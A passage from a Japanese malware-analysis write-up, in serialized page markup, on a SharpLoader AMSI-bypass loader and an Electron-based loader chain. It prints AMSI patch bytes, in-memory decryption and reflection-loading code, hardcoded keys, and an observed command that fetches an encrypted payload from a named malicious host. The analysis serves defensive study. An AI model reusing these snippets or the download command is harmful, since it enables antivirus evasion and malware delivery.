",[550,2159,2027],{}," は事実上、静かに失敗して非検出の結果を返すようになり、AMSIのチェックが無力化されます。これでマルウェアは、本来ならウイルス対策のアラートを引き起こすスクリプトや.NETコードを実行できます。",[532,2162,2163],{},"32ビットシステムで実行された場合は、別のパッチが適用されます。",[588,2165,2167],{"className":2046,"code":2166,"language":2048,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[550,2168,2169],{"__ignoreMap":594},[1680,2170,2171],{"class":1682,"line":1683},[1680,2172,2166],{},[532,2174,2175],{},"狙いは同じく「クリーン」な結果を強制することですが、x86の呼び出し規約に合わせてあります。",[532,2177,2178,620,2181,620,2184,2187],{},[550,2179,2180],{},"LoadLibrary",[550,2182,2183],{},"GetProcAddress",[550,2185,2186],{},"VirtualProtect"," といった生のP/Invoke呼び出しを使うことで、このパッチ処理は動的に、しかもEDRツールに監視されうる高レベルAPIを一切呼び出さずに実行できます。この手法はコンパクトで効果的、しかもフォレンジック上の痕跡をほとんど残しません。",[532,2189,2190,2191,2194],{},"まとめると、このAMSIバイパスの手法は ",[539,2192,2193],{},"ウイルス対策インターフェイスに対する低レベルかつ直接的なメモリ攻撃"," であり、実行時にミリ秒単位で完了します。現代のエンドポイント防御において、振る舞い監視とメモリ検査が不可欠である理由を示す有力な例です。",[714,2196,2198],{"id":2197},"_43-第2段階ペイロードの取り扱い","4.3 第2段階ペイロードの取り扱い",[532,2200,720],{},[532,2202,2203,2204,2207],{},"AMSIバイパスが完了すると、ローダーは第2段階のペイロードの取得と準備に進みます。このペイロードはローダー自体に埋め込まれてはおらず、",[550,2205,2206],{},"$location"," パラメーターによる呼び出し方に応じて、リモートサーバーから取得されるか、ディスクから読み込まれます。",[532,2209,2210,2211,2214,2215,2085,2218,2221,2222,2225,2226,2229],{},"指定された場所が ",[550,2212,2213],{},"http"," で始まる場合はURLとして解釈され、ローダーは ",[550,2216,2217],{},"Get_Stage2()",[550,2219,2220],{},"HttpWebRequest"," 経由でペイロードをダウンロードします。ローカルパスの場合は ",[550,2223,2224],{},"Get_Stage2disk()"," がファイルシステムから直接内容を読み取ります。いずれの場合も、想定されるファイルの内容は ",[539,2227,2228],{},"Base64エンコード、GZip圧縮、AES暗号化"," が施されたブロブです。",[532,2231,2232,2233,2236],{},"ローダーはその後、",[539,2234,2235],{},"4段階のデコードと復号のパイプライン"," を完全にメモリ上で実行します。",[2078,2238,2239,2245,2255,2265],{},[607,2240,2241,2244],{},[539,2242,2243],{},"Base64デコード",": エンコードされた文字列を生のバイト列に変換します。このステップは、実際のバイナリ内容を静的検査ツールから隠し、単純なパターンマッチを防ぐためのものです。",[607,2246,2247,2250,2251,2254],{},[539,2248,2249],{},"GZip展開",": デコードされたバイト列を ",[550,2252,2253],{},"GZipStream"," に渡して展開します。圧縮によりファイルサイズが小さくなり、難読化の層がもう1つ加わります。",[607,2256,2257,2260,2261,2264],{},[539,2258,2259],{},"AES復号",": 圧縮されたバイト列を、CBCモードのAES（Rijndael）で復号します。鍵は実行時に、ユーザーが指定したパスワードからSHA-256ハッシュとPBKDF2（",[550,2262,2263],{},"Rfc2898DeriveBytes","）、および固定のソルトを組み合わせて導出されます。",[607,2266,2267,2270],{},[539,2268,2269],{},"ソルトの除去",": 復号結果には固定長のソルトの接頭辞（4バイト）がまだ含まれています。これを手動で取り除くことで、有効な.NETアセンブリを表すクリーンなバイナリブロブが得られます。",[532,2272,2273],{},"復号パイプラインは次のように実行されます。",[588,2275,2277],{"className":2046,"code":2276,"language":2048,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[550,2278,2279,2284],{"__ignoreMap":594},[1680,2280,2281],{"class":1682,"line":1683},[1680,2282,2283],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1680,2285,2286],{"class":1682,"line":2058},[1680,2287,2288],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[532,2290,2291,2292,2295],{},"ここで ",[550,2293,2294],{},"AES_Decrypt()"," は、Rijndaelアルゴリズムをラップしたカスタム関数で、いずれもパスワードから導出された256ビットの鍵と128ビットのIV（初期化ベクトル）で構成されています。",[532,2297,2298],{},[539,2299,2300],{},"設計上の重要な観察点:",[604,2302,2303,2306,2309],{},[607,2304,2305],{},"PBKDF2と組み合わせたAES-CBCの採用により、パスワードのブルートフォースは容易ではありません。",[607,2307,2308],{},"復号がメモリ上で行われるため、中間結果がディスクに書き込まれることはなく、フォレンジック上の痕跡が減ります。",[607,2310,2311],{},"誤ったパスワードが指定された場合、復号は静かに失敗するか不正なデータを生成し、実行の失敗や追跡困難な例外につながることがあります。",[532,2313,2314],{},"まとめると、この多段のペイロード処理手法は、シグネチャベースとヒューリスティックベースの双方の静的検出に対するハードルを大きく引き上げます。実際に実行するか、ローダーの振る舞いを深く検査しない限り、防御側がパスワードと正確なデコードロジックを知らずに埋め込みペイロードを解明できる見込みはほとんどありません。",[714,2316,2318],{"id":2317},"_44-動的なアセンブリの読み込み","4.4 動的なアセンブリの読み込み",[532,2320,720],{},[532,2322,2323],{},"第2段階のペイロードの復号に成功すると、得られたバイト配列は有効な.NETアセンブリになります。このアセンブリをディスクに書き出す（ウイルス対策やEDRにとって一般的な指標になります）のではなく、SharpLoaderはリフレクションを使ってメモリ上で直接実行します。",[588,2325,2327],{"className":2046,"code":2326,"language":2048,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[550,2328,2329,2334],{"__ignoreMap":594},[1680,2330,2331],{"class":1682,"line":1683},[1680,2332,2333],{},"Assembly a = Assembly.Load(bin);\n",[1680,2335,2336],{"class":1682,"line":2058},[1680,2337,2338],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[532,2340,2341,2342,2345],{},"この手法は ",[539,2343,2344],{},"ファイルレス実行"," と呼ばれます。次の理由から、きわめて回避性が高いものです。",[604,2347,2348,2351,2354],{},[607,2349,2350],{},"ディスクに触れないため、ファイルベースのIOC（侵害指標）が残らない",[607,2352,2353],{},"バイナリがディスクに保存されないため、従来のフォレンジック取得が難しくなる",[607,2355,2356],{},"AVエンジンはファイルのスキャンに依存することが多いため、静的なシグネチャ検出を回避できる",[532,2358,2359,1267,2362,2365],{},[550,2360,2361],{},"EntryPoint",[550,2363,2364],{},"static"," でない場合に備えて、ローダーにはフォールバックのロジックが含まれています。",[588,2367,2369],{"className":2046,"code":2368,"language":2048,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[550,2370,2371,2376,2381,2386,2391,2397],{"__ignoreMap":594},[1680,2372,2373],{"class":1682,"line":1683},[1680,2374,2375],{},"MethodInfo method = a.EntryPoint;\n",[1680,2377,2378],{"class":1682,"line":2058},[1680,2379,2380],{},"if (method != null)\n",[1680,2382,2383],{"class":1682,"line":2064},[1680,2384,2385],{},"{\n",[1680,2387,2388],{"class":1682,"line":2070},[1680,2389,2390],{},"    object o = a.CreateInstance(method.Name);\n",[1680,2392,2394],{"class":1682,"line":2393},5,[1680,2395,2396],{},"    method.Invoke(o, null);\n",[1680,2398,2400],{"class":1682,"line":2399},6,[1680,2401,2402],{},"}\n",[532,2404,2405,2406,2409],{},"これにより、実行にインスタンス化されたオブジェクトを必要とするアセンブリ（クラスインスタンス内の ",[550,2407,2408],{},"public int Main()"," など）との互換性が確保されます。コードは動的にクラスのインスタンスを作成し、そのうえでエントリポイントのメソッドを呼び出します。",[532,2411,2412],{},"AMSIバイパスとメモリ内復号と組み合わさることで、このメカニズムは最終ペイロードをステルス性の高い完全なファイルレス方式で実行に至らせます。現代の回避型マルウェアの典型的な特徴です。",[714,2414,2416],{"id":2415},"_45-コマンドラインパラメーターと柔軟性","4.5 コマンドラインパラメーターと柔軟性",[532,2418,720],{},[532,2420,2421,2422,2424],{},"PowerShell関数 ",[550,2423,1885],{}," は、任意の.NETペイロードのための柔軟なラッパーとして設計されています。ペイロードの場所と引数の両方を動的に受け取れるため、1つのローダーインスタンスを複数のオペレーションやキャンペーンで再利用できます。",[532,2426,2427],{},[539,2428,2429],{},"サポートされるパラメーター:",[604,2431,2432,2438,2444,2464],{},[607,2433,2434,2437],{},[550,2435,2436],{},"-location","（必須）: 第2段階の暗号化ペイロードのURLまたはローカルファイルパスを指定します。",[607,2439,2440,2443],{},[550,2441,2442],{},"-password","（必須）: AESの復号鍵の導出に使われます。",[607,2445,2446,620,2449,620,2452,2455,2456,2459,2460,2463],{},[550,2447,2448],{},"-argument",[550,2450,2451],{},"-argument2",[550,2453,2454],{},"-argument3","（任意）: リフレクション経由で ",[550,2457,2458],{},".NET"," アセンブリの ",[550,2461,2462],{},"Main()"," メソッドへそのまま転送されます。",[607,2465,2466,2469],{},[550,2467,2468],{},"-noArgs",": 第2段階のペイロードにパラメーターを渡さずに実行します。",[532,2471,2472],{},"内部では、引数は次のように収集されて転送されます。",[588,2474,2476],{"className":1674,"code":2475,"language":1676,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[550,2477,2478,2483],{"__ignoreMap":594},[1680,2479,2480],{"class":1682,"line":1683},[1680,2481,2482],{},"object[] cmd = args.Skip(2).ToArray();\n",[1680,2484,2485],{"class":1682,"line":2058},[1680,2486,2487],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[532,2489,2490],{},"つまり、.NETペイロード側には次のようなシグネチャが期待されるということです。",[588,2492,2494],{"className":2046,"code":2493,"language":2048,"meta":594,"style":594},"static void Main(string[] args)\n",[550,2495,2496],{"__ignoreMap":594},[1680,2497,2498],{"class":1682,"line":1683},[1680,2499,2493],{},[532,2501,2502,2503,2505],{},"あるいはフォールバックのロジックによって、引数なしの ",[550,2504,2462],{}," に穏当に戻ります。この振る舞いにより、レッドチームやマルウェアの作者は、入力に応じて異なる動作を行う多目的な第2段階を作成できます。たとえば、インプラントの起動、システム情報の収集、C2通信の開始などです。",[532,2507,2508],{},"こうしたモジュール性と設定可能性は高度なマルウェアフレームワークの中核的な特徴であり、スクリプトベースのローダーが下流のペイロードにとってきわめて適応性の高い実行環境として振る舞えることを示しています。",[714,2510,2512],{"id":2511},"_46-実際の使用例","4.6 実際の使用例",[532,2514,720],{},[532,2516,2517],{},"SharpLoaderが実際のキャンペーンでどう実行されたかを示すため、現実に観測された次の呼び出しを見てみましょう。",[588,2519,2521],{"className":1674,"code":2520,"language":1676,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[550,2522,2523],{"__ignoreMap":594},[1680,2524,2525],{"class":1682,"line":1683},[1680,2526,2520],{},[532,2528,2529],{},"この例は、SharpLoaderの典型的なユースケースを浮き彫りにします。",[604,2531,2532,2546,2557,2567],{},[607,2533,2534,2537,2538,2541,2542,2545],{},[539,2535,2536],{},"場所の引数",": このURLは、隠蔽された第2段階ペイロードである ",[550,2539,2540],{},"calc.enc"," をホストするリモートサーバーを指しています。エンドポイントは、HTTPS証明書の検証によく使われる正規らしい見た目の ",[550,2543,2544],{},".well-known"," ディレクトリ配下に置かれており、URLを正規のWebトラフィックに紛れ込ませる助けになっています。",[607,2547,2548,975,2551,1539,2553,2556],{},[539,2549,2550],{},"ペイロードの特性",[550,2552,2540],{},[539,2554,2555],{},"三重に難読化されたファイル"," です。Base64エンコード、GZip圧縮、AES暗号化が施されています。この難読化パイプラインにより、メモリ上で完全に実行・復号されない限り、ペイロードはほとんどの検出メカニズムにとって不透明なままです。",[607,2558,2559,2562,2563,2566],{},[539,2560,2561],{},"パスワードの引数",": 文字列 ",[550,2564,2565],{},"UwUFufu1"," は、実行時にSHA-256とPBKDF2を介してAES鍵を導出するために使われます。このパスワードがなければペイロードは復号できず、文脈のないオフライン解析はほぼ不可能になります。",[607,2568,2569,975,2572,2574],{},[539,2570,2571],{},"追加引数なし",[550,2573,2468],{}," スイッチは、復号された.NETアセンブリにコマンドライン引数を一切渡さないことを示し、既定の実行パスを起動させます。",[532,2576,2577,2578,565],{},"このステルス性の高い呼び出しチェーンは、SharpLoaderの中核的な目的を凝縮しています。最大限の難読化と回避を伴うシンプルなPowerShell構文による、",[539,2579,2580],{},"ファイルレスで適応的、かつ安全なペイロード配信",[714,2582,2584],{"id":2583},"_47-まとめ","4.7 まとめ",[532,2586,720],{},[532,2588,2589,2591],{},[550,2590,1885],{}," という構成は、OS標準のコンポーネント、リフレクション、暗号技術を活用してほぼ完全にメモリ上で動作する、きわめて洗練された回避型のマルウェアステージング手法の実例です。",[532,2593,2594],{},[539,2595,2596],{},"主なポイント:",[604,2598,2599,2607,2613,2619],{},[607,2600,2601,975,2604,2606],{},[539,2602,2603],{},"AMSIのバイパス",[550,2605,2027],{}," をメモリ上で直接パッチすることで、検出可能なAPIを呼び出すことなくウイルス対策の検査を無効化します。",[607,2608,2609,2612],{},[539,2610,2611],{},"安全なペイロードの取り扱い",": 暗号化・圧縮された第2段階ペイロードを取得することで機密性を確保し、回避の層を何重にも重ねます。",[607,2614,2615,2618],{},[539,2616,2617],{},"メモリ上だけの実行",": 復号されたペイロードがディスクに書き込まれることはなく、従来のファイルベースのスキャナーによる検出はほぼ不可能になります。",[607,2620,2621,2624],{},[539,2622,2623],{},"モジュール式で再利用可能なアーキテクチャ",": PowerShellのパラメーターを通じて、SharpLoaderはペイロードや実行時の振る舞いを変えながらキャンペーンをまたいで柔軟に再利用できます。",[528,2626,2628,2629,2631],{"id":2627},"_5-ディープダイブ-mainexe-electronベースのマルウェアローダー","5. ディープダイブ: ",[550,2630,578],{}," – Electronベースのマルウェアローダー",[532,2633,534],{},[532,2635,2636,2637,2639,2640,2643,2644,2646,2647,2649],{},"リバースエンジニアリングの過程で、Microsoft Defender for Endpointが検出した ",[550,2638,578],{}," が通常のバイナリではなく ",[539,2641,2642],{},"Electronベースのマルウェアローダー"," であることが明らかになりました。これは ",[550,2645,1819],{}," というアーカイブに格納された状態で配信され、",[550,2648,574],{}," が実行時にダウンロードして展開していました。展開後の構造と内容は、典型的なElectronアプリケーションによく似ていました。",[714,2651,2653],{"id":2652},"_51-electron構造の識別","5.1 Electron構造の識別",[532,2655,720],{},[532,2657,2658],{},"展開されたフォルダーには、次のようなファイルが含まれていました。",[604,2660,2661,2672,2680,2686],{},[607,2662,2663,620,2666,620,2669],{},[550,2664,2665],{},"chrome_100_percent.pak",[550,2667,2668],{},"v8_context_snapshot.bin",[550,2670,2671],{},"d3dcompiler_47.dll",[607,2673,2674,557,2677],{},[550,2675,2676],{},"LICENSES.chromium",[550,2678,2679],{},"LICENSES.electron",[607,2681,2682,2683,2685],{},"大きな ",[550,2684,578],{}," バイナリ（~150 MB）",[607,2687,2688,2690,2691,2694,2695,2697],{},[550,2689,1049],{}," と補助バイナリ ",[550,2692,2693],{},"elevate.exe"," を含む ",[550,2696,1829],{}," フォルダー",[532,2699,2700],{},[748,2701],{"alt":2702,"src":2703},"デスクトップアプリのパッケージ済みWindows 64ビット版","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[532,2705,2706,2707,2709],{},"いずれも、ChromiumとNode.jsを使ってJavaScriptベースのデスクトップアプリケーションをパッケージするElectronアプリの強い指標です。特権昇格によく使われる署名済みMicrosoftバイナリ ",[550,2708,2693],{}," の存在は、さらに疑いを強めました。昇格した権限で子プロセスを起動するために悪用されうるためです。",[714,2711,2713],{"id":2712},"_52-展開と静的解析ディープダイブ","5.2 展開と静的解析（ディープダイブ）",[532,2715,720],{},[532,2717,2718,2720,2721,2723,2724,2726,2727,2729,2730,2733],{},[550,2719,578],{}," を実行する代わりに、動作を一切発火させないよう静的解析のアプローチを選びました。",[550,2722,578],{}," がElectronで作られているという当初の疑いは、",[550,2725,1829],{}," ディレクトリ内に ",[550,2728,1049],{}," ファイルを見つけたことで裏付けられました。Electronアプリでは、このアーカイブがJavaScriptファイル、設定（",[550,2731,2732],{},"package.json","）、アセットといったアプリケーションの中核ロジックをすべて含み、性能と難読化を目的とした独自形式でまとめられています。",[532,2735,2736,2739,2740,2743],{},[550,2737,2738],{},".asar"," アーカイブは本質的に、",[550,2741,2742],{},".zip"," に似た読み取り専用の高性能なコンテナーですが、Electronのランタイム向けに最適化されています。暗号化されてはいないものの、コードへのアクセスを見えにくくするため、展開しない限り静的解析はより難しくなります。",[532,2745,2746,2747,2750],{},"展開には、npmで提供されている公式の ",[550,2748,2749],{},"asar"," ツールを使いました。手順は次のとおりです。",[588,2752,2756],{"className":2753,"code":2754,"language":2755,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[550,2757,2758,2775],{"__ignoreMap":594},[1680,2759,2760,2764,2768,2772],{"class":1682,"line":1683},[1680,2761,2763],{"class":2762},"sScJk","npm",[1680,2765,2767],{"class":2766},"sZZnC"," install",[1680,2769,2771],{"class":2770},"sj4cs"," -g",[1680,2773,2774],{"class":2766}," asar\n",[1680,2776,2777,2779,2782,2785],{"class":1682,"line":2058},[1680,2778,2749],{"class":2762},[1680,2780,2781],{"class":2766}," extract",[1680,2783,2784],{"class":2766}," app.asar",[1680,2786,2787],{"class":2766}," extracted_app\n",[532,2789,2790,2791,2794],{},"上記のコマンドを実行すると、内容が作業フォルダー（",[550,2792,2793],{},"extracted_app/","）に展開され、実際のJavaScriptアプリケーションコードが現れました。そこには次のものが含まれていました。",[604,2796,2797,2818,2826],{},[607,2798,2799,620,2802,620,2805,2808,2809,2811,2812,2814,2815,2817],{},[550,2800,2801],{},"jscryter.js",[550,2803,2804],{},"input.js",[550,2806,2807],{},"obf.js",": これらのスクリプトがマルウェアのロジックを構成します。",[550,2810,2801],{}," はペイロード配信を統括しているとみられ、",[550,2813,2804],{}," は設定定数やコマンドロジックを定義し、",[550,2816,2807],{}," は中核のペイロードロジックを含むとみられる強く難読化されたスクリプトです。",[607,2819,2820,620,2822,2825],{},[550,2821,2732],{},[550,2823,2824],{},"package-lock.json",": ランタイム環境を定義します",[607,2827,2828,975,2831,620,2834,620,2837,2840],{},[550,2829,2830],{},"node_modules/",[550,2832,2833],{},"axios",[550,2835,2836],{},"adm-zip",[550,2838,2839],{},"child_process"," などの依存関係をすべて含みます",[532,2842,2843,2844,1267,2846,2848],{},"展開された内容により、実行することなくマルウェアのロジックを完全に見通せるようになりました。これは安全なリバースエンジニアリングに不可欠でした。この段階で、",[550,2845,578],{},[550,2847,1049],{}," 内に隠された悪意あるスクリプトのランタイムラッパーにすぎないことが確認できました。",[714,2850,2852],{"id":2851},"_53-静的解析で明らかになったこと","5.3. 静的解析で明らかになったこと",[532,2854,720],{},[532,2856,2857],{},"コードを手作業で精査した結果、マルウェアのロジックが完全にJavaScriptベースであり、Electronランタイム内で実行されることを確認しました。スクリプトは次の動作を行うよう設計されていました。",[604,2859,2860,2867,2872,2875],{},[607,2861,2862,2863,2866],{},"フォールバック用のURL群から暗号化ペイロード（",[550,2864,2865],{},"pyth.zip","）をダウンロードする",[607,2868,2869,2871],{},[550,2870,2836],{}," を使ってアーカイブを展開する",[607,2873,2874],{},"文字列置換を行い、特定の認証情報やウォレットアドレスを埋め込む",[607,2876,2877,2878,2880,2881,557,2884,2886],{},"生成されたPythonファイル（",[550,2879,585],{},"）を ",[550,2882,2883],{},"child_process.exec()",[550,2885,552],{}," 経由で起動する",[532,2888,2889,2890,2895],{},"決定的だったのは、ローダーが ",[539,2891,2892,2894],{},[550,2893,574],{}," をユーザーのAppDataディレクトリにコピーする"," ロジックも備えていた点です。まだ存在しない場合にコピーすることで、永続化を強化し感染ループを維持していました。",[528,2897,2899,2900,2902],{"id":2898},"_6-ディープダイブ-inputjs-暗号化されたjavascriptペイロードローダー","6. ディープダイブ: ",[550,2901,2804],{}," – 暗号化されたJavaScriptペイロードローダー",[532,2904,534],{},[532,2906,2907,2909],{},[550,2908,2804],{}," は、分析対象のマルウェアチェーンにおける重要なコンポーネントであり、暗号化されたJavaScriptペイロードの復号と実行のハブとして機能します。このスクリプトは中核機能を強固な暗号化の層の背後に隠し、実行時にのみその振る舞いを明かします。",[714,2911,2913],{"id":2912},"_61-暗号化と復号のしくみ","6.1 暗号化と復号のしくみ",[532,2915,720],{},[532,2917,2918,2919,2921],{},"一見すると、",[550,2920,2804],{}," には読めるコードがほとんどありません。しかしその主目的は、スクリプト自身の中に格納された大きな難読化済みJavaScriptブロブを復号して実行することにあります。",[862,2923,2925],{"id":2924},"_611-復号のロジック","6.1.1 復号のロジック",[532,2927,868],{},[532,2929,2930,2931,2934],{},"このスクリプトは、4つのパラメーターを受け取る ",[550,2932,2933],{},"decrypt()"," 関数を定義しています。",[604,2936,2937,2943,2949,2955],{},[607,2938,2939,2942],{},[550,2940,2941],{},"encdata",": 暗号化されたBase64エンコードのデータ",[607,2944,2945,2948],{},[550,2946,2947],{},"masterkey",": 平文のパスフレーズ",[607,2950,2951,2954],{},[550,2952,2953],{},"salt",": 暗号用のソルト（Base64）",[607,2956,2957,2960],{},[550,2958,2959],{},"iv",": AES復号の初期化ベクトル（Base64）",[532,2962,2963,2964,2967],{},"復号処理はNode.js組み込みの ",[550,2965,2966],{},"crypto"," モジュールを使って実装されており、次のように進みます。",[2078,2969,2970,3081,3194],{},[607,2971,2972,2975,2976,3055],{},[539,2973,2974],{},"鍵の導出:","\nスクリプトはPBKDF2（Password-Based Key Derivation Function 2）を使って256ビットの共通鍵を導出します。",[588,2977,2981],{"className":2978,"code":2979,"language":2980,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[550,2982,2983,3005,3010,3027,3035,3042,3049],{"__ignoreMap":594},[1680,2984,2985,2989,2992,2995,2999,3002],{"class":1682,"line":1683},[1680,2986,2988],{"class":2987},"szBVR","const",[1680,2990,2991],{"class":2770}," key",[1680,2993,2994],{"class":2987}," =",[1680,2996,2998],{"class":2997},"sVt8B"," crypto.",[1680,3000,3001],{"class":2762},"pbkdf2Sync",[1680,3003,3004],{"class":2997},"(\n",[1680,3006,3007],{"class":1682,"line":2058},[1680,3008,3009],{"class":2997},"  masterkey,\n",[1680,3011,3012,3015,3018,3021,3024],{"class":1682,"line":2064},[1680,3013,3014],{"class":2997},"  Buffer.",[1680,3016,3017],{"class":2762},"from",[1680,3019,3020],{"class":2997},"(salt, ",[1680,3022,3023],{"class":2766},"\"base64\"",[1680,3025,3026],{"class":2997},"),\n",[1680,3028,3029,3032],{"class":1682,"line":2070},[1680,3030,3031],{"class":2770},"  100000",[1680,3033,3034],{"class":2997},",\n",[1680,3036,3037,3040],{"class":1682,"line":2393},[1680,3038,3039],{"class":2770},"  32",[1680,3041,3034],{"class":2997},[1680,3043,3044,3047],{"class":1682,"line":2399},[1680,3045,3046],{"class":2766},"  \"sha512\"",[1680,3048,3034],{"class":2997},[1680,3050,3052],{"class":1682,"line":3051},7,[1680,3053,3054],{"class":2997},");\n",[604,3056,3057,3063,3069,3075],{},[607,3058,3059,3062],{},[539,3060,3061],{},"ハッシュ関数:"," SHA-512",[607,3064,3065,3068],{},[539,3066,3067],{},"反復回数:"," 100,000",[607,3070,3071,3074],{},[539,3072,3073],{},"鍵長:"," 32バイト（256ビット）",[607,3076,3077,3080],{},[539,3078,3079],{},"ソルト:"," Base64デコードされた入力として与えられる",[607,3082,3083,3086,3087,3137,3139,3140],{},[539,3084,3085],{},"AES-256-CBC復号:","\n導出された鍵を使ってAESのdecipherオブジェクトを生成します。",[588,3088,3090],{"className":2978,"code":3089,"language":2980,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[550,3091,3092,3108,3115,3120,3133],{"__ignoreMap":594},[1680,3093,3094,3096,3099,3101,3103,3106],{"class":1682,"line":1683},[1680,3095,2988],{"class":2987},[1680,3097,3098],{"class":2770}," decipher",[1680,3100,2994],{"class":2987},[1680,3102,2998],{"class":2997},[1680,3104,3105],{"class":2762},"createDecipheriv",[1680,3107,3004],{"class":2997},[1680,3109,3110,3113],{"class":1682,"line":2058},[1680,3111,3112],{"class":2766},"  \"aes-256-cbc\"",[1680,3114,3034],{"class":2997},[1680,3116,3117],{"class":1682,"line":2064},[1680,3118,3119],{"class":2997},"  key,\n",[1680,3121,3122,3124,3126,3129,3131],{"class":1682,"line":2070},[1680,3123,3014],{"class":2997},[1680,3125,3017],{"class":2762},[1680,3127,3128],{"class":2997},"(iv, ",[1680,3130,3023],{"class":2766},[1680,3132,3026],{"class":2997},[1680,3134,3135],{"class":1682,"line":2393},[1680,3136,3054],{"class":2997},[697,3138],{},"暗号化されたペイロードは、標準的なCBC（Cipher Block Chaining）モードで復号されます。",[588,3141,3143],{"className":2978,"code":3142,"language":2980,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[550,3144,3145,3174],{"__ignoreMap":594},[1680,3146,3147,3150,3153,3156,3159,3162,3165,3167,3169,3172],{"class":1682,"line":1683},[1680,3148,3149],{"class":2987},"let",[1680,3151,3152],{"class":2997}," decrypted ",[1680,3154,3155],{"class":2987},"=",[1680,3157,3158],{"class":2997}," decipher.",[1680,3160,3161],{"class":2762},"update",[1680,3163,3164],{"class":2997},"(encdata, ",[1680,3166,3023],{"class":2766},[1680,3168,1989],{"class":2997},[1680,3170,3171],{"class":2766},"\"utf8\"",[1680,3173,3054],{"class":2997},[1680,3175,3176,3179,3182,3184,3187,3190,3192],{"class":1682,"line":2058},[1680,3177,3178],{"class":2997},"decrypted ",[1680,3180,3181],{"class":2987},"+=",[1680,3183,3158],{"class":2997},[1680,3185,3186],{"class":2762},"final",[1680,3188,3189],{"class":2997},"(",[1680,3191,3171],{"class":2766},[1680,3193,3054],{"class":2997},[607,3195,3196,3199,3200,3203,3204,3225,3227],{},[539,3197,3198],{},"動的実行:","\n復号されたJavaScriptコードがディスクに書き込まれることはありません。代わりに、",[550,3201,3202],{},"Function"," コンストラクターを使ってメモリ上で動的に実行されます。",[588,3205,3207],{"className":2978,"code":3206,"language":2980,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[550,3208,3209],{"__ignoreMap":594},[1680,3210,3211,3214,3217,3219,3222],{"class":1682,"line":1683},[1680,3212,3213],{"class":2987},"new",[1680,3215,3216],{"class":2762}," Function",[1680,3218,3189],{"class":2997},[1680,3220,3221],{"class":2766},"\"require\"",[1680,3223,3224],{"class":2997},", decrypted)(require);\n",[697,3226],{},"この手法によってファイルレス実行が可能になり、ディスクベースのスキャンに依存する従来のウイルス対策エンジンに検出される可能性が下がります。",[532,3229,3230],{},"このアプローチは、鍵導出、強力な暗号化、動的なメモリ内実行を組み合わせることで、リバースエンジニアリングに対する多層的な防御を実現しています。",[532,3232,3233],{},[539,3234,3235],{},"鍵材料と暗号化データ",[532,3237,3238],{},"スクリプトには、次のハードコードされた入力が含まれています。",[604,3240,3241,3247,3256,3264],{},[607,3242,3243,3246],{},[539,3244,3245],{},"暗号化データ:"," 巨大なBase64エンコードのブロブ",[607,3248,3249,3252,3253],{},[539,3250,3251],{},"マスターキー:"," ",[550,3254,3255],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3257,3258,3252,3260,3263],{},[539,3259,3079],{},[550,3261,3262],{},"maXtklzMEZRY9dbul/XPSw==","（Base64エンコード）",[607,3265,3266,3252,3269,3263],{},[539,3267,3268],{},"IV:",[550,3270,3271],{},"HwK6sOz7FBbL+YsrOxtYUg==",[532,3273,3274,3275,3277],{},"これらはすべて ",[550,3276,2804],{}," のソースコードに直接埋め込まれています。",[714,3279,3281],{"id":3280},"_62-復号後のペイロードの振る舞い","6.2 復号後のペイロードの振る舞い",[532,3283,720],{},[532,3285,3286],{},"復号されると、埋め込まれたペイロードは次の悪意ある動作を行う完全なJavaScriptプログラムになります。",[862,3288,3290],{"id":3289},"_621-実行環境の準備","6.2.1 実行環境の準備",[532,3292,868],{},[532,3294,3295],{},"復号されたペイロードはまず、Node.js組み込みのモジュールを使って実行環境を整えます。この準備フェーズにより、悪意ある動作が始まる前に、必要なパスと作業ディレクトリがすべて明確に定義されます。",[604,3297,3298,3331],{},[607,3299,3300,3303,3304,3307,3308],{},[539,3301,3302],{},"一時ディレクトリの解決:","\nマルウェアは ",[550,3305,3306],{},"os.tmpdir()"," を呼び出し、現在のシステムの一時ディレクトリのパスを取得します。一時フォルダーは通常書き込み可能で、エンドポイント保護製品の監視も比較的手薄なため、マルウェアの定番の戦術です。",[588,3309,3311],{"className":2978,"code":3310,"language":2980,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[550,3312,3313],{"__ignoreMap":594},[1680,3314,3315,3317,3320,3322,3325,3328],{"class":1682,"line":1683},[1680,3316,2988],{"class":2987},[1680,3318,3319],{"class":2770}," tempDir",[1680,3321,2994],{"class":2987},[1680,3323,3324],{"class":2997}," os.",[1680,3326,3327],{"class":2762},"tmpdir",[1680,3329,3330],{"class":2997},"();\n",[607,3332,3333,3336,3337,3350],{},[539,3334,3335],{},"パスの構築:","\n続いてスクリプトは、2つの重要なファイルの絶対パスを構築します。",[604,3338,3339,3344],{},[607,3340,3341,3343],{},[550,3342,2865],{},": 